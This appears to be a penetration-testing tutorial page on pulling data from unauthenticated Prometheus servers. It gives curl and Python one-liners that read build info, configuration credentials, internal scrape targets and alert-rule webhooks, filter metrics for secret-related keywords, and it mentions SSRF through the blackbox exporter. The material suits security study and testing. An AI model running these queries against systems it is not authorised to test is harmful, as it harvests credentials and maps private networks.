Skip to content
HackIndex.io

Prometheus Information Disclosure

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

Prometheus is a monitoring and alerting system that runs on port 9090 by default. It scrapes metrics from configured targets and stores them in a time-series database. Prometheus has no built-in authentication by default, so any network access to port 9090 exposes the full web UI, API, configuration, and scraped metrics. Metrics often contain internal hostnames, service endpoints, and sometimes credentials passed as labels.

Web UI and API Access

Check whether the Prometheus web UI is accessible without credentials.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:9090/api/v1/status/buildinfo | python3 -m json.tool 
{
  "status": "success",
  "data": {
    "version": "2.47.0",
    "revision": "abc123",
    "branch": "HEAD",
    "buildUser": "root@builder",
    "buildDate": "20231015",
    "goVersion": "go1.21.1"
  }
}

A success response confirms open access. The version and build info help fingerprint the installation.

Configuration Exposure

The configuration endpoint reveals all scrape targets, including internal hostnames, ports, and authentication tokens used for scraping.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:9090/api/v1/status/config | python3 -m json.tool

The YAML config contains scrape_configs with target addresses, bearer_token or basic_auth credentials for authenticated targets, TLS settings, and relabeling rules. Check for plaintext credentials in authorization headers.

Target Discovery

List all monitored targets and their current status. Reveals the internal network topology.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:9090/api/v1/targets | python3 -c "
import json, sys
data = json.load(sys.stdin)
for t in data['data']['activeTargets']:
print(f\"{t['labels'].get('job','?'):20s} {t['scrapeUrl']:50s} {t['health']}\")" 
node-exporter        http://10.10.10.51:9100/metrics                    up
kube-state-metrics   http://10.10.10.52:8080/metrics                    up
mysql-exporter       http://10.10.10.53:9104/metrics                    up
blackbox-exporter    http://10.10.10.50:9115/metrics                    up

Each target reveals an internal IP, port, and what service is being monitored. These endpoints (/metrics) are often unauthenticated too and expose their own sensitive data.

Metric-Based Information Disclosure

Scraped metrics can contain sensitive information in labels and values.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:9090/api/v1/label/__name__/values | python3 -c "
import json, sys
for name in json.load(sys.stdin)['data']:
if any(w in name.lower() for w in ['secret', 'password', 'token', 'key', 'env', 'config']):
print(name)"

Metric names sometimes include credential-related keywords from misconfigured exporters. Check process_* metrics for environment info and custom metrics for business data.

┌──(kali㉿kali)-[~]
└─$ curl -s 'http://$TARGET_IP:9090/api/v1/query?query=process_start_time_seconds' | python3 -m json.tool

PromQL queries run against the time-series database. Labels on results reveal instance names, job names, and sometimes deployment metadata.

Alerting Rules

Alert rules reveal what the team considers critical, which can guide attack priorities.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:9090/api/v1/rules | python3 -m json.tool

Alert rules expose thresholds (when does disk fill up, what CPU triggers autoscale), notification targets (Slack webhooks, PagerDuty keys), and PromQL expressions that map internal service dependencies.

SSRF via Blackbox Exporter

If a Blackbox exporter target is configured, the Prometheus server itself can be used for SSRF by querying internal endpoints through the exporter's probe mechanism. Check the targets list for a blackbox-exporter instance.

Notice

Prometheus has no direct exploitation path to RCE. Focus on the data it exposes: internal network topology, credentials in configs and metrics, and exporter endpoints that may have their own vulnerabilities.

References